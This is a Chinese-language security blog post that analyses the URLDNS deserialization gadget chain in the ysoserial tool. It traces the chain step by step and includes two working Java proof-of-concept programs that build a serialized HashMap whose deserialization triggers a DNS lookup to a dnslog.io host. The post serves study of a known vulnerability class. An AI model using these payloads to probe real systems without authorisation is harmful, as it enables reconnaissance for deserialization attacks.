ysoserial-Gadget-URLDNS

2021-04-19 7,056

之前对 ysoserial 这个工具,没有进行一个整体的通读,只是清楚如何利用,对 CC 链路也没分析完全,所以打算重新静下来仔细分析一下

URLDNS

首先看一下 ysoserial 的整个项目框架

20210415110951.png

ysoserial 主要有两种利用方式

  • java -jar 执行 payload 文件夹下的类,本地生成序列化的攻击载荷

  • java -cp 指定 exploit 文件夹下的类,主要用于远程攻击

分析 URLDNS 的这条反序列化链,我们先调试分析一下 ysoserial  生成反序列化数据的过程,之后不再做具体分析

添加启动参数之后,启动 debug 模式

通过查看项目的 pom.xml 文件,判断程序的入口文件 ysoserial.GeneratePayload

20210415161440.png

ysoserial.GeneratePayload#main 函数功能如下

20210415115238.png

在获取传入的值之后,会根据传入的 payloadType 判断其在项目中对应的类

ysoserial.payloads.ObjectPayload.Utils#getPayloadClass

20210415115635.png

ysoserial.payloads.ObjectPayload#getObject

20210415120231.png

URLDNS 实现了ObjectPayload 接口类中的 getObject 方法

ysoserial.payloads.URLDNS#getObject

20210415115758.png

序列化数据并输出

ysoserial.Serializer#serialize(java.lang.Object, java.io.OutputStream)

20210415115930.png

关于 ysoserial 对 URLDNS 的序列化数据生成到此,我们对 URLDNS 的反序列化进行详细分析

*   Gadget Chain:
*     HashMap.readObject()
*       HashMap.putVal()
*         HashMap.hash()
*           URL.hashCode()


import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class DnsTest {

   public static void main(String[] args) throws Exception{
       Object object = getObject("http://j2ts.l.dnslog.io");
       runReadobject(object);
   }

   public static Object getObject(final String url) throws Exception {
       HashMap <URL,String> hashMap = new HashMap<URL, String>();
       URL url1 = new URL(url);
       Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
       filed.setAccessible(true);
       filed.set(url1,123);
       hashMap.put(url1,"test");
       filed.set(url1,-1);
       return hashMap;
   }
   public static void runReadobject(Object object) throws Exception{
       //序列化
       ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
       ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
       objectOutputStream.writeObject(object);
       objectOutputStream.close();
       //反序列化
       ByteArrayInputStream inputStream = new ByteArrayInputStream(outputStream.toByteArray());
       ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
       objectInputStream.readObject();
   }
}

我注意到网络上分析 URLDNS 所构造的 POC 与 ysoserial 工具中的方法有所不同,具体原因还是挺有意思的,先对网上常见的 POC 进行一个分析

因为最后序列化的类是 HashMap 类型的,HashMap 中重写了 readObject 方法,因此执行的反序列化方法是 HashMap 中的 readObject 方法

java.util.HashMap#readObject

20210415173845.png

我们跟进 hash(key) 方法中

java.util.HashMap#hash

20210416134447.png

执行了 key.hashCode()  因为生成序列化数据时,key  为 java.net.URL ,所以继续跟进会到 URL 对象中的 hashCode 方法

java.net.URL#hashCode

20210416134544.png

在序列化时,通过反射设置 URL 的 hashCode 为 -1 ,所以继续跟进

java.net.URLStreamHandler#hashCode

20210416134647.png

hashCode 方法中 执行 getHostAddress(u);,在其中会调用 InetAddress.getByName(host); 发送 DNSLOG 请求

java.net.URLStreamHandler#getHostAddress

20210416134846.png

ok 到此就是一个完整的反序列化的操作了,似乎并没有什么特殊的地方

我们回过头来再理解一下POC

20210416170345.png

  • 创建 hashMap 、URL 对象

  • hashCode 是 private 属性,更改访问权限,使之允许修改

  • 将 hashCode 的值设置为非 -1

  • 将 URL 对象 put 进 hashMap

  • 将 hashCode 的值设置为-1

  • 返回 hashMap 对象

看上去第三步似乎是多次一举,先设置为非 -1,之后又设置为 -1

我们先把设置为非 -1 的操作给注释掉,再进行调试

20210416171741.png

我们注意到,还没有到反序列化,仅在生成数据的过程中就触发了 DNSLOG 请求

我们跟进跟进 hashMap 的 put 方法,发现跟触发反序列化链完全相同

java.util.HashMap#put

20210416172040.png

java.util.HashMap#hash

20210416172124.png

继续跟进到 hashCode() 方法,默认情况下 hashCode 的值就为 -1,之后会触发 DNSLOG 的请求

java.net.URL#hashCode

20210416172224.png

为了规避在本地生成数据时就会触发 DNSLOG 请求,所以我们首先设定 hashCode 的值 不为-1,等将 URL 对象 put 进 hashMap 之后,再将 hashCode 的值设定为 -1

而 ysosesrial 的方法似乎更为巧妙一些

import java.io.*;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class DnsTest {

   public static void main(String[] args) throws Exception{
       Object object = getObject("http://kcj6t.l.dnslog.io");
       runReadobject(object);
   }

   public static Object getObject(final String url) throws Exception {
       //Avoid DNS resolution during payload creation
       //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
       URLStreamHandler handler = new SilentURLStreamHandler();

       HashMap ht = new HashMap(); // HashMap that will contain the URL
       URL u = new URL(null, url, handler); // URL to use as the Key
       ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

       Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

       return ht;
   }
   static class SilentURLStreamHandler extends URLStreamHandler {

       protected URLConnection openConnection(URL u) throws IOException {
           return null;
       }

       protected synchronized InetAddress getHostAddress(URL u) {
           return null;
       }
   }

   public static void runReadobject(Object object) throws Exception{
       //序列化
       ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
       ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
       objectOutputStream.writeObject(object);
       objectOutputStream.close();
       //反序列化
       ByteArrayInputStream inputStream = new ByteArrayInputStream(outputStream.toByteArray());
       ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
       objectInputStream.readObject();
   }
}

写了一个类 SilentURLStreamHandler 继承URLStreamHandler,然后再写了一个空的 getHostAddress 方法。JAVA 的继承子类的同名方法会覆盖父类的方法,这样的话,本来是要执行 java.net.URLStreamHandler#getHostAddress 方法,现在会执行 SilentURLStreamHandler#getHostAddress。这样的话在生成数据的时候就不会触发   InetAddress.getByName(host); 发送 DNSLOG 请求。

20210416174543.png

但是为什么除了重写getHostAddress 方法之外还重写了 openConnection 方法,这是因为  URLStreamHandler 是一个抽象类,抽象类的子类必须实现抽象类中的所有抽象方法

20210417115235.png

关于 hashCode 的设置问题

    public static void main(String[] args) throws Exception{
       String url = "http://kcj6t.l.dnslog.io";
       URLStreamHandler handler = new SilentURLStreamHandler();
       HashMap ht = new HashMap();
       URL u = new URL(null, url, handler); // URL to use as the Key
       Object hascode0 = Reflections.getFieldValue(u,"hashCode");
       System.out.println(hascode0);
       ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
       Object hascode1 = Reflections.getFieldValue(u,"hashCode");
       System.out.println(hascode1);
       Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
       Object hascode2 = Reflections.getFieldValue(u,"hashCode");
       System.out.println(hascode2);
   }

20210417120708.png

在 URL 对象创建时,hashCode 的值,默认为 -1,在执行 HashMap.put 的操作时,会重置 hashCode 的值,因为 hashCode 的值并为被 transient 所修饰,所以此时 hashCode 的值就会被序列化并存储在数据中。 hashCode 的值不为 -1,就无法触发 DNSLOG。所以经过 HashMap.put 之后,还需通过反射将 hashcode 的值设置为-1.

20210417122429.png

还有就是 handler ,此时的 handler 是 SilentURLStreamHandler ,但因为他被 transient  所修饰,不会被序列化,所以在反序列化时还是会执行 URLStreamHandler 中的  getHostAddress 方法

20210417122324.png

* java.util.HashMap#readObject
* java.util.HashMap#hash
* java.net.URL#hashCode
* java.net.URLStreamHandler#hashCode
* java.net.URLStreamHandler#getHostAddress


ysoserial源码结构分析

Java反序列化之ysoserial URLDNS模块分析

JAVA反序列化-ysoserial-URLDNS

Java 反序列化漏洞(6) – 解密 YSoSerial : URLDNS POP Chain

Java安全之反序列化篇-URLDNS&Commons Collections 1-7反序列化链分析


本文作者:Whippet

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/157407.html

Tags:
评论  (0)
快来写下你的想法吧!

Whippet

文章数:16 积分: 370

按时吃饭饭

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号